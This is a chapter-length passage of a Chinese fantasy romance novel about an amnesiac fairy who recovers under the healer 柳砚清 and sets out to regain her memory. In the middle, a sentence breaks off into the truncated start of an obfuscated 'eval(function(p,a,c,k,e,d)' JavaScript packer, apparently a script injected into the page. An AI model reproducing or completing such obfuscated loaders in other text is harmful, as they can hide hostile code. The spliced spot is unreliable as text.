《九歌一梦》 1. 柳下砚清 很久很久以前,东海之上,传说中神仙居住的岛屿,住着一位大仙和他的四个孩子。其中最小的女儿,生性活泼,好奇心极重。某日,闲来无事,翻阅了她大哥从人间带回来的数百本禁书。书中描绘的男女情爱、人间繁华,令她心驰神往。思春少女,风情万种,男女之喜,香艳生动。她不禁感慨,人间竟如此有趣,迫不及待想去看看。 她幻化成凡人,贪图男色,遍地沾花。上至帝国皇帝、朝中重臣,下至贫民书生、山野村夫,凡合她胃口者,无一放过。她的美貌与风情,令无数男子为之倾倒,却也引来了无数的麻烦事。 一日,仙子突然消失了。有人说她厌倦了人间男色,回天上继续寻找目标;也有人说她被天界惩罚,生死逆转。没人再见过她,直到天降神罚,生死逆转…… 酒楼的说书人拍案致谢。前排的听客却皱起眉头,不解方才的故事。 “‘天降神罚,生死逆转’……都说神仙长生不老不死,怎会消失呢?” 听完听客的疑问,说书人笑了笑。 “神仙的事,哪晓得咯。” 似是想起了什么,说书人继续说道。 “这故事还有另一个版本。因为结局过于荒谬,大多听客不太喜欢。不过我倒是喜欢的。说那仙子与天做了交换,变成了凡人,将早已殉命的挚爱之人起死回生,从此携手白头。” 果真是大多数听客不感兴趣的美好结局。故事一出,听客也明白了说书人的心思。 “先生说这的仙子,可有名字?” 听客又问道。 说书人捋了捋下巴的胡须,悠悠道:“仙子的享乐之旅从不用自己的姓名,怕坏了自己神仙的名声。不过,我听见过她的男人都唤她——风姑娘。” 春风不相识,何事入罗帏。 如风拂过,不知吹向何处。 旷野,望不到尽头的旷野。 周身刺骨的疼,双腿颤颤巍巍,勉强还能支撑自己站立。 视野里被笼罩上一层红色的薄雾,怎么都抹不去。 嗓子干哑,发不出任何声响。 谁……谁来救救我…… 我想走出一步,哪怕只是一步,只是想从深陷的泥坑里拔出来。 怎么会变成这样。 是我犯下诸多错,所以用这样的方式惩罚我吗? 呵。 这一生,舍弃姓名,用谎言编织谎言。 从医鹿山到光州,从京都皇城到周游四国,从北疆莽荒之地到荒漠尽头不朽之国。我编造着一个又一个名字,欺骗、隐瞒、自私。我为他们许下了无数承诺,却无一兑现。 风啊,从启航的那一刻便知晓吹向何方。但又偏偏撩人心弦,卷起一地繁花。 我不禁低头冷笑,笑自己,苦笑自己活该。 以命偿还,但愿能抵消这些‘孽缘’吧。 可是…… 眼角不知何时涌出了泪水。大概是脑海里突然冒出了他的脸吧。 唯独他,欠他的太多。唯独他,无论重来多少次,都无法放下。 相传西洲是一座孤岛,与陆地隔江相望。无论四季,西洲岛上的梅林盛开依旧。雪白的梅花映满西洲的山峦,吞没了岛上其他的颜色。 从前岛上生活着一个家族,他们与世隔绝,靠着世代相传的法术,与白梅相伴,长生不老。没人见过岛上的居民,因为没人能跨过那条大江,抵达对岸。想要过江之人,要么惨死江边,要么被江水吞没。 尽管如此,世间还是有无数人冒死也想跨过大江。 只为求得起死回生之术。 “我答应他的……” 我望着仅有一江之隔的孤岛,只要趟过这条江,我就能再见到他。 “对不起……不能……兑现我的承诺了……” 我说着他再也听不见的话。 霜雪不霁。 血色彻底模糊视线。 空气中的浮游似乎被我千疮百孔的躯体散发出的血腥味儿所吸引,渐渐将我包围。麻酥酥的痒意从指尖开始攀附,慢慢爬满全身裸露的部分。手臂、脚踝、后颈……四肢痛到没有多余的力气让我去抓挠,也分不出心思去在意别的。 我用力紧闭双眼,又睁开,试图让自己的视野清晰一点。但皆是徒劳,哪怕我一遍又一遍重复着相同的动作,视野只变得更暗。 方才还能透过鲜红的血色看见一点亮光,眨眼间,黑暗吞没视野里的所有光。 我放弃了。 双手垂吊在身侧,摆动时碰到了别在腰间的匕首。 是他送我的匕首。 我熟练地拔刀出鞘,准备给自己一个终结。 与其被痛苦折磨致死,倒不如给自己一个痛快。 生不由己,死有何惧。 我举起利刃,刀尖在胸口处试探,对准了心跳的位置。 就这里吧。 刀起—— 并未如期落入。 手腕似乎被人捉住,刀也悬停在半空。 “谁?!” 清冷的声音落入耳畔,鼻腔里,浓郁的血腥味间掺杂了淡淡的药香。 “捅这里,可就一点活过来的办法都没有了。” “什唔——” 刀被人夺走,甩到了很远的地方,与地面的石块撞击时发出了清脆的声响。两腮被一双冰冷的手牢牢捏住,双唇被撬开,湿热的舌头探入其中,打乱我的思绪。 熟悉的温热让我一下意识清醒,确认对方的身份。 与他有关的所有记忆也在此刻跨越时间在脑海重现,然后被他在唇角的轻咬下终止。 “我要死了……” 我在晦暗的风中伸出手,想象着他在我眼前的样子,描摹出他的轮廓,缓缓将手抚上他的脸颊。 “不许说死字。” 他的语气淡淡的,听不出任何波澜。 “可我真的要死了……” 说出的每一个字,几乎都是断断续续地从嗓音里冒出来的。 止不住眼泪,控制不住发抖。我还不想死,也不想背负一身情债苟活。 突然,温热的手掌附上我的脸颊,蛮狠地擦掉我脸上挂满的泪水。 “不许说死字。” 这次,他的语气有明显的怒气。 我没敢再说话,乖乖听话闭嘴。 或许是欣慰我难得这么听话,我隐约听到面前的人轻轻笑了一下,温柔地将我揽进怀里。 不同江边磨人的寒风,起伏的胸膛是温暖的。药香萦绕,熟悉的避风港,总能抚平躁动的心,同从前无数次一样,抚平我内心的伤痛。 他俯下身子,贴在我的耳畔。肌肤接触的地方没有燃起,反倒越发冰冷。 双目失明的情况下,我的耳朵变得灵敏。他沉重的呼吸,一起一伏都打在我的心上。我自然而然地跟上他的节奏,疼痛淡化,视野里无尽的黑暗中,亮起了一束光。 我好想……有些困了…… 身侧,他的手与我十指相扣,紧紧扣住彼此。我越是使不上劲儿,他的手就更用力。 “你的手,变冷了。” 只是六个字,我好像用尽了力量才说全。 “城江府……花海……可以把我……埋葬……” 他没有回答我,偏过头在我耳垂处轻轻一吻。 算他,答应我了吧。 上穷碧落下黄泉,两处茫茫皆不见。 他追寻一路,却不想,寻得她时相逢既落花。 怀里的人从未如此安静过。安静得连她的呼吸都不可闻。 海水梦悠悠,君愁我亦愁。 南风却不知我意,无缘吹梦到西洲。 我似乎睡了很久。 漫长到像是去了趟黄泉,轮回重返人间。 以至于睁开眼只是窗纱透进来的微弱的光都刺得我眼睛疼。 “姑娘醒了!” 似乎有人从不远处跑来。 我看向声音传来的方向,一个看上去十几岁的小姑娘,提着裙摆大步朝我奔来。 小姑娘激动得扑上来,双手撑在床边将我仔仔细细打量了一圈,最后露出满意释然的微笑。 “太好了!我马上去通知师尊!” “等等——等一下!” 见她要走,我立马抓住她的手腕,生生把她拽回来。 一大堆疑问涌出脑海,不仅是因为她同我说话是熟稔的语气,还有陌生的环境,陌生的自己。 什么师尊?我跟他很熟吗?为什么见我醒过来要第一个通知他? 她诧异地回头看我,露出一抹不解的笑容。 “姑娘有什么……啊!姑娘是不是饿了?放心,厨房已经在做了。待会儿就请姑娘去吃饭。当下是通知师尊要紧!” 见她拨开我的手又要走,幸亏我眼疾手快,又是转瞬之间把她又拉了回来。 “等等等一下!你别急啊!” 小小年纪怎么性子这么急。 她歪着头,乖巧地双手抱在身前站立。 “怎么了姑娘?” 我扶着额头,揉了揉眉心。 “我现在头好痛……什么师尊什么的,完全不明白啊。你能先告诉我,到底怎么一回事吗?” 她脸上的笑容僵住,逐渐生出失落。 “难道姑娘你失……” 未说完的话被门外传来的敲门声打断。 我和她一同循声望去,一位蓝衣少年快步走进房间,朝我端正行礼。 “师尊感知到姑娘已经醒了,特叫我来请姑娘过去。” 说完,他便又退出我的视线外,背过身去站在门外等候。 又是师尊。 他们左一个师尊右一个师尊,所以这位师尊到底是谁啊!还能感知到我长梦苏醒,必定是位高人! 还有,他俩又是谁? 头好痛!现在似乎不太适合思考复杂的问题,只要不是准备把我拉去卖了,暂且先走一步看一步吧。 换上他们提前为我准备好的衣服,简单地洗了把脸,梳理完毕,我便起身跟随蓝衣少年出发去见他们口中的师尊。 我默默跟在蓝衣少年身后,穿过蜿蜒的长廊,脚下是青石板铺就的小径,两侧是碧波荡漾的水池,池中荷花盛开,微风拂过,荷叶轻摇,水波粼粼。长廊尽头是一座石桥,桥下流水潺潺,桥头立着一座古朴的亭子,亭中悬挂着一幅字画,笔力遒劲,意境深远。过了石桥,眼前豁然开朗,是一片宽阔的广场,四周种满了翠竹,竹叶随风沙沙作响,仿佛在低声诉说着什么。 广场尽头是一座巍峨的大殿,殿前石阶上雕刻着祥云纹样,殿门两侧各立着一尊石狮,威严而肃穆。蓝衣少年脚步不停,带着我绕过广场,穿过几道回廊,最终停在一处幽静的院落前。院门虚掩,门楣上悬挂着一块匾额,上书“砚风居”三字,笔法飘逸,气韵生动。 “师尊就在里面。”蓝衣少年低声说道,语气中带着几分恭敬。 我点点头,心中却有些忐忑。推开院门,一股淡淡的药草香气扑面而来,院内种满了各种奇花异草,墙角还摆放着几盆青翠的盆景,显得格外雅致。正屋的门敞开着,屋内陈设简单却不失雅致,一张红木书案上摆满了书籍和卷轴,墙上挂着一幅山水画,画中山峦叠嶂,云雾缭绕,仿佛仙境一般。 蓝衣少年轻轻叩了叩门,低声道:“师尊,姑娘到了。” 屋内,一名男子正背对着我们,站在高大的药柜前,手中捧着一本泛黄的古籍,另一只手则轻轻捻起一撮药草,似乎在仔细分辨着什么。听到少年的声音,他并未回头,只是淡淡应了一声:“进来吧。” 蓝衣少年欠身退下,我则缓步走进屋内,心中莫名生出一丝紧张。男子缓缓放下手中的书和药草,转过身来,目光如水般清澈,却又带着几分冷冽。他身着一袭青衫,墨黑的长发随意披散在肩头,眉目如画,气质清冷,仿佛不食人间烟火。 “坐。”他指了指一旁的茶台,声音低沉而温和。 我依言坐下,心中却有些不安。他为我沏了一杯茶,茶汤清澈,微微冒着热气。我接过茶盏,轻声道谢:“谢谢师尊。” 他闻言微微一怔,眉头几不可见地轻蹙了一下,随即恢复如常,淡淡道:“你方才叫我什么?” 我愣了一下,有些不解:“师尊啊,我看他们都这么叫您,所以……” “您?”他打断我的话,语气中带着一丝不悦。 我心中一紧,意识到自己可能说错了话,连忙低下头,不敢再言语。他看了我一眼,目光中带着几分探究,随即淡淡道:“茶,冷了。” 我这才发现手中的茶已经凉了,连忙端起茶盏,一饮而尽。茶汤入口,苦涩瞬间在舌尖蔓延开来,我忍不住皱起眉头,五官几乎皱成了一团。 “这茶喝得越快,苦味越浓。”他淡淡说道,语气中带着几分无奈,“你还是记不住。” 我尴尬地笑了笑,正不知如何回应,他却递过来一杯清水。我连忙接过,一饮而尽,口中的苦涩瞬间被甘甜取代,整个人都轻松了许多。 “这是什么水?”我忍不住问道,“没有颜色,却有甜味,莫非是糖水?可普通的糖水能瞬间缓解苦味吗?” 他闻言,嘴角微微上扬,露出一抹意味深长的笑容:“所以,今天又是闹哪一出?学着清雨和如雪叫我师尊?” 我眨了眨眼,有些茫然:“清雨和如雪是谁?” 他沉默片刻,目光中闪过一丝复杂的神色,随即淡淡道:“你不记得了?” 我摇了摇头。 他盯着我看了片刻,似乎在判断我是否在说谎。 心中越发不安。 “我……我刚醒过来,脑子一片空白,真的不知道您说的是谁……” 我越说越小声,越说越没底,就像是给自己洗脱罪名假装失忆的人一样。 等等,失忆? “对啊,我好像是失忆了。” 我脱口而出,半晌才反应过来说了句了不得的话。 “我……怎么会没有记忆……” 我慌了神,手中的茶盏在慌乱间掉落地面,摔成粉碎。 “我是谁?我在哪儿?我——” 手腕被没有温度的手掌攥住,一股力量将我带往前方,落入一个温暖起伏的胸膛。眼角涌出滑落的泪正正落在紧贴的衣襟上,温热的手掌移到我的后背,慢慢轻抚我颤抖的后背。 柳砚清似乎有种让人平静下来的法力,我靠在他的怀里闻着药香渐渐平复下来。 半晌,他轻轻叹了口气,语气中带着几分无奈:“罢了。” 清冷的月光透过水面映在我的眼底。 因为我的情绪波动很大,柳砚清给我服下镇定心神的药后,带着我在一处袅袅升起白雾的水潭边静坐。 我傻呆呆地学着身旁柳砚清的样子盘腿坐在水边,双目无神,眼睁睁看着浸泡在水里的裙摆边角,慢慢湿透,无动于衷。 柳砚清在静心修行,端坐在不厚的蒲团上,一旁的泥炉上烹着茶,热气缭绕清香四溢,缠上他身上自带的药香弥漫了水岸边。 药效的缘故吧,我有诸多问题想问,却在念头冒出来的片刻后失掉兴趣。 但眼睛不受药效控制,总不自觉地瞟向身旁。 更像受了他的控制。 美如翠羽,肌如白雪,发如浓墨。眉目间皆是淡漠,却勾得人挪不开眼。 时不时传过去的眼神,终于引起了柳砚清的注意,他缓慢睁开眼,换了个轻松的姿态,给我和他倒了杯茶。 “想问什么?” 我接过茶盏,盯着红艳的茶汤发了会儿愣,嗅了嗅茶香,小口入喉,苦强涩弱,顿时没了喝茶的欲望,又把茶盏放下。 “好苦,不喜欢。” 我有气无力地喃喃。 “洱茶,你最喜欢喝的。” “是吗……” 我看着手里的茶,大脑一片空白。想不起自己喜欢什么,讨厌什么。想不起这是哪里,想不起我是谁。 “师尊。” “不许叫我师尊。” 兴许是他转念一想,不该对失忆之人如此冷漠,叹了口气待我继续问下去。 我抬起头,心中却更加疑惑:“我为什么会没有记忆?为什么您会知道我喜欢什么?您为什么不许我叫您师尊?” 他没有回答,只是默默饮了一口茶,目光落在我的裙摆上,淡淡道:“裙摆湿透了。” 我顺着他的目光看去,这才发现自己的裙摆不知何时已经浸入了水中,湿漉漉地贴在腿上。我将裙摆提起,水珠顺着裙角滴落,溅起一圈圈涟漪。 他看着我,目光中带着几分复杂的神色,低声道:“恐怕,是当时晚了一步。” 我不明白他在说什么,也没有心思去深究。手中的茶已经凉透,苦味散去,我端起茶盏,茶汤清淡如水,轻轻抿了一口,苦涩的茶冷却后竟带着一丝若有若无的甜味。 “师尊,我冷了,有些困,想睡了。”我轻声说道,语气中带着几分疲惫。 他看了我一眼,没有作声。 我假借困意,往他身边凑了凑,见他并未躲闪,便轻轻靠在他盘起的腿上,蜷缩起身子,借着他的暖意阖上双眼。他的身上有一股淡淡的药香,混合着茶香,让人感到无比安心。我闭上眼睛,熟悉的感觉让我仿佛回到了过去无数个夜晚,耳边是他轻柔的呼吸声,鼻尖萦绕着草药的清苦与花香,渐渐地,困意袭来。 柳砚清不言不语地看着我,神情始终淡淡的。待我真正睡着后,他轻轻盖上身旁敞开的木匣子,掩盖住盒子里弥漫的花香,指尖轻轻缠绕上我的发丝,眼底闪过一丝落寞与悔意。 “怎么连我也忘了呢……”他低声喃喃,语气中带着几分无奈与苦涩。 清浅的水潭边,白雾缭绕,茶香弥漫。柳砚清俯下身,轻轻贴在我的耳畔,低声道:“长梦将醒,你会记得我吗?” 那不过是半年前,旷野江畔,他同我说过的一句话。如今,我却已全然忘却。 柳砚清冷笑一声,语气中带着几分自嘲:“还以为你当时躺着不说话,是默认答应我了呢。” 夜风轻拂,水波微漾,月光洒在水面上,映出他清冷的面容。他静静地看着我,目光中带着几分复杂的情感,仿佛在等待一个永远不会到来的答案。 医鹿山后山的洞穴中,供奉着一尊古老的神像。据山中弟子所言,这尊神像乃是蓬莱仙岛一位掌管寿命的大仙,千百年来,香火不绝,灵气氤氲。洞穴深处,石壁上刻满了古老的符文,不是前人所刻,据说来自一股神秘的力量。 长梦初醒,我连自己的身世都记不清,更遑论去了解这些天上的神仙。每日里,我只是听从柳砚清的安排,按时喝药、打坐、发呆。他说我心神不稳,不可浮躁,不可大悲大喜,稍有不慎便会一命呜呼。怕死的我自然不敢违逆,乖乖照做。 今日,柳砚清因事外出,临行前提议我去山洞中静心修行。他说,山洞气流稳定,隔绝外界杂音,是修行的绝佳之地。他还特地给了我一块柔软的坐垫,生怕我坐在冰冷的地面上受寒。我心头一暖,笑着道谢:“谢谢师尊。” 话一出口,柳砚清的脸色果然骤变,冷声道:“不许叫我师尊。” 他虽嘴上严厉,但眼中并无怒意,反倒透着一丝无奈。我早已习惯了他这副模样,甚至有些乐此不疲地逗弄他。柳砚清外表冷若冰霜,实则心口不一,对山中弟子和求医之人总是嘴上拒绝,行动上却从不推辞。唯独对我,他从不掩饰自己的情绪,愿意就是愿意,不愿意就是不愿意,交代完事情便头也不回地离开。 或许,他真的讨厌我吧。 山洞深处,滴水声渐渐消失,取而代之的是一片干燥的空间。我坐在垫子上,学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“发生过的事情不会平白忘记,只是想不起而已。吾可以帮你唤醒过去的记忆。”神像话音刚落,一束金光从天而降,落在我与神像之间,瞬间炸裂成无数光点。紧接着,一张卷轴凭空出现在石壁上,密密麻麻的文字悬浮在空中,散发着淡淡的光芒。 我目瞪口呆,连忙凑上前去仔细查看。卷轴上写着:“重生者若得此物,需成逝前之愿,否则,法器将收回重生者之命,且与重生者一同消失……” 我心头一沉,抬头望向神像:“我可以不要吗?” “不可以。”神像冷冷回应,随即一块巴掌大的玉石从卷轴中飞出,稳稳落在我手中。玉石温润如玉,触感冰凉。我正疑惑间,玉石竟化作一支镶嵌着翠绿竹叶的发簪,正是我心中所想。 “神器会指引你方向。引梦,或在你遇到重要的人时给予提示。”神像的声音再次响起,“找到九个男人,并且得知你真正的名字,方能唤醒沉睡的记忆和灵魂。” 我挑了挑眉,打趣道:“九个?您确定找的是男人而不是龙珠?” “不许顶嘴!”神像的声音陡然严厉,我连忙闭嘴,心中却暗自腹诽:这神像怎么比柳砚清还凶? 从山洞出来后,我握着发簪,心中五味杂陈。没有记忆,如何完成逝前的愿望?然而,神像的话却让我无法拒绝。我只能硬着头皮,踏上这条未知的路。 回到山中,我四处寻找柳砚清,却不见他的踪影。药房内,清雨和如雪正在清点药材。我上前问道:“有见到师尊吗?” 如雪笑着指了指山崖的方向:“师尊现在应该在山崖那边。”她顿了顿,眼中闪过一丝落寞,“姑娘近来可有什么起色?” 我笑着回应:“挺好的。”清雨却皱了皱眉,低声问道:“您真的全忘了吗?似清雨,却如雪……” 我愣了一下,不明所以。如雪见状,轻声解释道:“我是如雪,他是清雨。我想……姑娘可能忘了。” 我心中一酸,抬手揉了揉如雪的头发,笑道:“我现在记住啦。以后也都记住了。” 如雪抿嘴一笑,眼中闪过一丝欣慰。 山崖边,柳砚清端坐在风中,墨发青衫,宛如一幅画卷。我悄悄走近,坐在他身旁,静静聆听他的呼吸声。秋风拂过,我冷得打了个哆嗦。柳砚清睁开眼,将披风轻轻披在我肩上,淡淡道:“起风了。” 我抓着他的披风,深吸一口气,浓郁的草药香沁入心脾。我将山洞中的经历一一告诉他,唯独隐瞒了神像要我找九个男人的事。柳砚清听完,神色淡然,似乎早已料到。 说完,我抓挠着后颈,清了清嗓子,郑重其事地向他深鞠一躬。 “多谢师尊的救命之恩,也谢谢师尊在我醒来这段时间的照顾。我已经能很好的接受我身上发生的所有状况,所以我想……” “你想下山。” 柳砚清冷不丁地出言打断我。我歪着头看向他一贯冰冷的侧脸。 “师尊怎么知道的?” 刚问出口,内心默认得出了答案。 师尊可是仙人,能救我一命,难道还猜不出我想什么吗。 “嗯。虽然命是捡回来了,但是我完全失去了过去的记忆,如此活着……和一具空壳没什么区别。我想下山走走,说不定在人世间的见闻,能让我回忆起什么。实在想不起来,制造点新的回忆也不错。” “这么去?” “嗯?” 柳砚清抬手,微凉的指尖弹了下我的脑门。 “你是打算下山一边乞讨一边游历?” “……” 对啊,我怎么把最重要的东西给忘了。没有生存技能,没有钱,我怎么活下去?恐怕还没走出一座城镇就已经饿死街头了。 “师尊!” 我赶忙双膝跪地,双手撑地,请求高人指点。 柳砚清收回手,抱着双臂。 “修道之人,没有钱财。” 我还没开口要钱呢,就抢先一步拒绝我,不愧是仙人! “对不起。” 我赶忙为自己的失礼道歉。 “对不起什么?” “忘了您穷——咳咳,忘了您是仙人。钱乃身外之物,仙人不想要钱。” 柳砚清无奈下轻叹了口气,默默喝口茶。 “况且,我还没允许你下山。” “啊?” 我一下僵住,离地的双手停在半空,弓着背弯着腰,畏畏缩缩的样子望着柳砚清。 柳砚清握住我的手腕手动帮我抬起身子。 “你的命是我救回来的,许不许你走,难道不该我说了算?” “是是是,师尊说了算。那师尊的旨意是?” “不允许。还有,不许叫我师尊。” 犹如晴天霹雳。 我愣在原地,双目呆滞地望着柳砚清。 “为……为什么?!” “凭你现在下山只有死路一条。我不想辛苦救回来的命,转头就没了。” “那,我该怎么办……” 我慌张地在原地左右摇摆,柳砚清眼眸低沉,笑了笑,像是想起了什么过往,眼底尽是温柔和怀念。 “吃饭。” “啊?” 他说的是吃饭?用膳的同义词语?这和刚才说的内容有什么关联吗? 柳砚清指了指一旁焚尽的香炉,示意我时间的流逝。 “午饭时间到了。先吃饭,剩下的,你自己慢慢悟吧。” 他先行起身拍拍身上的灰尘,我紧随其后起身。他顺势抓住我的手腕,把我从崖边拉远一点后迅速松开。不作停留,快步离开。我只好小跑着跟上他的步子。 数年前,医鹿山。 柳砚清正清点此次下山要带的药。一旁的书案,坐着撑着脑袋昏昏欲睡的姑娘,连连点头的模样,柳砚清忍不住摇晃着脑袋偷笑。 “几千岁的神仙也会犯困吗。” 柳砚清小声揶揄,熟练地捞起挂在木架上的披风给姑娘披上。 姑娘被动作弄醒,打着哈欠摇摇起身。 “准备好了吗?那我们出发吧。” 姑娘打着哈欠刚要起身,就被柳砚清稍稍按住肩膀。 “你昨晚没休息好,要不下次再同我去?” “答应陪你的。况且我们许久不见,不想和你又分开。” 姑娘另一只手覆盖上柳砚清的手背,双眸落在他手背上凸起的骨节。 柳砚清随着姑娘的视线也落入两人交握之处,随即又看向姑娘痴情的脸。他轻轻一笑,伸手抚摸过她水滑的脸庞,又捏了捏她耳垂上的那颗痣。 “得在天黑前赶回来。” 清冷的声音响起,姑娘笑了笑,指尖点了点柳砚清脸上慢慢浮出的红晕。 “这么着急?” “嗯。” 柳砚清弯起带有笑意的眼眸,在姑娘的手背上轻吻。 “想你了。” 调情间,清雨和如雪送来了今日的功课作业。 两人一下弹开,装作无事发生的样子。清雨和如雪也早习惯了自家师尊在师娘面前是另一幅模样,内息毫无波澜。 柳砚清先替俩孩子检查课业,待两人告退后才看到一旁不怀好意眯着眼盯着自己的姑娘。 循着她的目光,柳砚清才意识到自己的袖口和指尖在刚才掩饰尴尬时,慌乱间粘上了墨汁。 “哎呀呀,师尊的袖口脏了呢。脏着手,待会儿下山可不得把人吓着。” 柳砚清轻轻笑了笑,转身进屋准备换身新的。 姑娘见状一个跨步挡在柳砚清身前。 “我来给师尊换。” 柳砚清乖乖张开双臂,任由姑娘借着换衣服的借口对他上下其手。光是解开腰带就沿着腰围摸了个遍,脱去衣裳的操作竟然是擦着肩,触摸着柳砚清炙热的皮肤褪去。 早习惯了,也早猜到她会这样。柳砚清看着眼前的人嘴角意味深长地笑,无奈笑道。 “我可不能有你这样的徒弟。” “为什么?”姑娘纯然地抬眸。 柳砚清坦然回答道:“会背上违背师德的罪名。” 姑娘嗤笑着抬手抚摸柳砚清红到快要滴血的耳朵。 “那我还是不叫你师尊了,免得哪天被人误会,硬生生拆散我们。” 2. 暗香疏影 今日,柳砚清依旧带我在山中各处打坐,美其名曰“修道”。 为了不让我脆弱的身体在山头吹冷风而感冒发烧,出发前我特意在裙子里藏了条毯子。然而,柳砚清一眼便识破了我的小伎俩,毫不留情地驳回了我的请求。 “修道,是磨炼意志。等你达到境界,自然就不会冷了。”他摆出一副不容置疑的高冷姿态,双手背在身后,语气淡然却不容反驳。 我本想争辩几句,但见他神色冷峻,只得悻悻地将毯子放回原处。谁知他反而皱起了眉头,似乎对我的顺从感到意外。我忍不住小声嘟囔:“不是你叫我放回去的么?” 柳砚清淡淡地瞥了我一眼,轻叹了口气。 “我也该习惯新的你了。快走吧。” 说完,他振袖一挥,转身走在前头。 我望着他的背影,暗自揣测:从前我大概是个混世魔王,还是个喜欢抬杠的木头吧。 后山有一片梅林,终年盛开着白色的花瓣。穿过一条潺潺的小溪,绕过一片幽静的竹林,梅林便赫然出现在眼前。梅树下的一方木台上摆着小小的方桌和坐垫,木台上落满了飘落的花瓣,显然已许久无人光顾。 每次修道的地点都是柳砚清临时决定的,这些日子我们几乎走遍了医鹿山的每一个角落。 师尊莫非是想通过这种方式唤醒我的记忆?若真是如此,倒也不失为一种巧妙的方法。 “师尊!”我踏着满地如雪的花瓣,小跑到他身边,笑脸盈盈地唤他。 “说了,不用叫我师尊,名字即可。”柳砚清的语气依旧淡然,但眼中却闪过一丝若有若无的笑意。 “叫全名?会不会显得太生疏了?”我歪着头,故作天真地问道。 “名字而已。”他淡淡回应,似乎对我的小心思早已了然于胸。 “那,砚清?”我试探性地叫了一声,随即又摇了摇头,“好像有点没大没小的……” “行。”他几乎是毫不犹豫地应了下来,反倒让我愣了片刻。 “……啊?好吧。” 我们相对而坐,拂去坐垫上的花瓣,摆上茶壶和茶盏。山间幽谷,疏花如雪,这场景不像是修道,倒更像是文人雅士的修身养性。 柳砚清一袭天青色的长袍,与梅林构成一幅绝美画卷,近在眼前,却又仿佛遥不可及。 “所以,什么事?”他端起茶盏,淡淡问道。 我倒茶的手顿了顿,沉默片刻后,终于鼓起勇气开口:“能告诉我,我的名字吗?” 知晓姓名便能恢复记忆。显然柳砚清早就认识我,也一定知道我的过去。与其漫无目的地寻找,不如直接问他。 “风。”他抿了一口茶,语气平静。 “风?就一个字?”我有些诧异。 “风,是你的名。”他放下茶盏,目光深邃。 “那我姓什么?”我追问道。 柳砚清没有直接回答,而是淡淡道:“你不是要下山吗?告诉你,还找什么?” 我一时语塞,随即恍然大悟:“所以,您同意我下山了?” “我不同意,难道你还真不走吗?”他挑眉反问。 我嘿嘿一笑,凑近他,小声说道:“谢谢师尊。” “……不许叫我师尊。”他皱了皱眉,语气中带着几分无奈。 柳砚清从怀中掏出一本不算厚的书递给我。 “在那之前,先把书上的内容学会。掌握一项技能,你在世间也能有个赚钱养活自己的门路。学不会,你也不用下山了。” 我欣喜地接过书,迫不及待地翻开。然而,序言中的一句话却让我瞬间傻眼:“本书共三千万字,学成共需花费三十年,请诸位学者努力钻研,刻苦学习。” “三千万字?三十年?!师尊,您这是……故意为难我,诚心不想放我走啊!”我抬头看向柳砚清,眼中满是委屈。 他深邃的眼眸凝视着我,脸上忽然扬起一抹明媚的笑容。那笑容如春风拂面,却让我心头一紧。 我知道,他不是在对我笑,而是在对从前的我笑——那个重生前与他有过过往的我。 心突然绞得生疼,我低下头,努力掩饰眼中的落寞。或许,那是一种嫉妒,嫉妒那个曾经与他有过深厚羁绊的自己。 “三千万字和三十年只是针对自学者而言。若有高人指点,用不了那么久。” “原来如此。那得找个师傅教我才行。找谁呢?清雨和如雪愿意教我吗?”我故作思考,偷偷瞟向柳砚清,试图从他脸上捕捉一丝情绪变化。 “自己琢磨吧。”他闭目起身,语气淡然,似乎不愿再多言。 “诶?砚清师尊,你就这么走了?”我连忙起身,想要追上他。 柳砚清走得飞快,仿佛生怕被我追上一般。我提起裙摆,一路小跑,直到他房门口才勉强赶上。突如其来的停顿让我险些撞上他的后背。 他冷冷回头看了我一眼,目光落在我手中攥着的、已被揉皱的书上。我刚想笑着打马虎眼,却被他那冰冷的眼神止住了嬉皮笑脸。 “好生保管,仅此一本。”他淡淡说道。 “这么贵重!那我还给师尊吧。”我拍了拍书面,试图将褶皱的部分抚平。 “……不许叫师尊。”他皱了皱眉,无奈中夹杂着一丝怒气。 “对不起师……砚清,师尊。”我吐了吐舌头,故意逗他。 “……” 入夜,如雪提着灯笼巡夜,路过我窗外时,见我还在挑灯夜战,忍不住凑到窗边,探头问道:“姑娘在干嘛?” “抄书。师尊说这本书仅此一本,太贵重了,我打算全本抄下来后还给他。”我头也不抬地答道。 如雪站在窗外,目光在我脸上和桌案的纸张上来回游移,最后忍不住噗嗤一笑:“想不到师尊还会跟你开玩笑。这书书房里有几百本呢,堆在一个书架上。你要的话,回头我给你拿。” 我握笔的手一颤,正在写的最后一笔被拉出纸外,今晚的两页算是白抄了。 次日,我左手拿着书房的印刷品,右手拿着柳砚清所谓的“仅此一本”,冲进他的药房。 “师尊!你骗我!这书明明书房有几百本!你却说只有一本!” 柳砚清头也不抬,一边抓药一边淡淡回应:“不许叫我师尊。你手里的确实只有一本,我没骗你。” “啊?”我愣住了,随即开始仔细对照两本书。字迹不同,书房里的显然是印刷品,而我手中的这本却是手抄的,字迹工整,显然是出自柳砚清之手。 “难不成……这是师尊亲自抄的?书房里的模板也是您的字迹吧!”我惊讶地问道。 柳砚清打包好药包,冷冷看了我一眼:“不许叫我师尊。闭关修行期间抄写的。你要是不想要,就还给我吧。” “好,还给您。”我将书递过去,他却连手都不抬一下。 “嗯?”我有些疑惑。 “我不要。”他淡淡道。 “您怎么又不要了?没弄脏,真的!我保管得很好的!绝对没有吃饭睡觉的时候翻阅,真的!”我急忙解释。 “那你继续保管吧。”他丢下这句话,带着药包越过我,径直离开了药房。 我拿着两本书愣在原地,半晌,无奈地笑了两声。 “师尊闭关修行?” 清雨端着茶壶,正给我和如雪倒茶。 晚秋的凉风袭人,但午后的暖阳照在身上,依旧暖洋洋的。趁着好天气,我邀约清雨和如雪在后山的凉亭中品茶闲聊,顺便打探些消息。 清雨倒好茶,在我对面坐下,说起关于柳砚清的事。 “师尊不会闭关修行。打坐修道,也只是近期陪你才有的。虽然人间相传师尊是修行千年的仙人,但他并没有那么老。而且师尊一般修行都是下山行医,救治百姓,不会闭关的。” 如雪放下茶盏,忽然想起什么,问道:“等等,我听说姑娘醒之前……去年吗?师尊去后山呆了一段时间,是去干嘛?” 清雨轻咳一声,似乎有顾虑,但最终还是解释道:“师尊那是受罚,被关了一段时间。” “受罚?因为什么?”我追问道。 “因为救你。”清雨低声说道,“医鹿山的规矩,不能轻易干涉人的生死。师尊破例救了你,按理说应该被逐出山门的。” 我低下头,看着杯盏中淡黄色的茶汤,心中五味杂陈。 